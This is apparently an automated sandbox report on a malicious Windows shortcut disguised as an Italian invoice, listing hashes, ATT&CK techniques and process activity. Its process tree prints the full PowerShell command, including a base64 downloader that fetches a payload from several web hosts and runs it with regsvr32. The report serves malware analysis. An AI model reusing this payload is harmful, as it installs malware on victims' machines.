d78e7c0d9e50043400028a135bbaac89a51400e93e60b4b648172f02ecb7e4e8

General

Target

d78e7c0d9e50043400028a135bbaac89a51400e93e60b4b648172f02ecb7e4e8.lnk
Size

2KB
MD5

8a131467d9e8042496ee3fca5204dd38
SHA1

6b2466b6d395bd4ea9127c5a3597b27cfd7b0fe2
SHA256

d78e7c0d9e50043400028a135bbaac89a51400e93e60b4b648172f02ecb7e4e8
SHA512

d5fa629eb555c10c77712516f74917fe5dba3af366b000be823348beaa87cf52edfcbf20edd568f47ee9cf304f23d2433884ff40b362b3990f5369bf77423669

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
12	2960	powershell.exe
18	2960	powershell.exe
29	2960	powershell.exe
34	2960	powershell.exe
36	2960	powershell.exe
47	2960	powershell.exe
48	2960	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4064	powershell.exe
2960	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4064	powershell.exe
4064	powershell.exe
2960	powershell.exe
2960	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 4064	3764	cmd.exe	84
PID 3764 wrote to memory of 4064	3764	cmd.exe	84
PID 4064 wrote to memory of 2960	4064	powershell.exe	86
PID 4064 wrote to memory of 2960	4064	powershell.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\d78e7c0d9e50043400028a135bbaac89a51400e93e60b4b648172f02ecb7e4e8.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Fattura N 0000210-19 XEX 26-04-2022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2a54ae28dd77de9cddb7d8d0a424d595

SHA1
cb995b4e6c1a0e426e70341a4e76bbe31528b707

SHA256
aa9a9bf78315144808b883edf47d98bf9649280536aae8d0056f7b614bbf4b8d

SHA512
89590daaa5655896c175c1f80a92cb8d6e8bb44127aeeedcd7d71ce16165672dbe4d1df10feffb964fd7adc05ebab78df546fc7711a109ca129acd782f89fbd1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n5roptlh.oto.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1

Filesize
974B

MD5
80bbc5429910a67fdbbd22941e33b2b1

SHA1
ad9daf9fcb9e16a9cc2dc62a531dd4586561e935

SHA256
750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2

SHA512
cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0

Download Submit
memory/2960-31-0x000001D427050000-0x000001D4277F6000-memory.dmp

Filesize
7.6MB

Download
memory/4064-26-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-2-0x00007FF989B43000-0x00007FF989B45000-memory.dmp

Filesize
8KB

Download
memory/4064-16-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-28-0x00007FF989B43000-0x00007FF989B45000-memory.dmp

Filesize
8KB

Download
memory/4064-29-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-30-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-14-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-13-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download
memory/4064-12-0x000002A656660000-0x000002A656682000-memory.dmp

Filesize
136KB

Download
memory/4064-40-0x00007FF989B40000-0x00007FF98A601000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing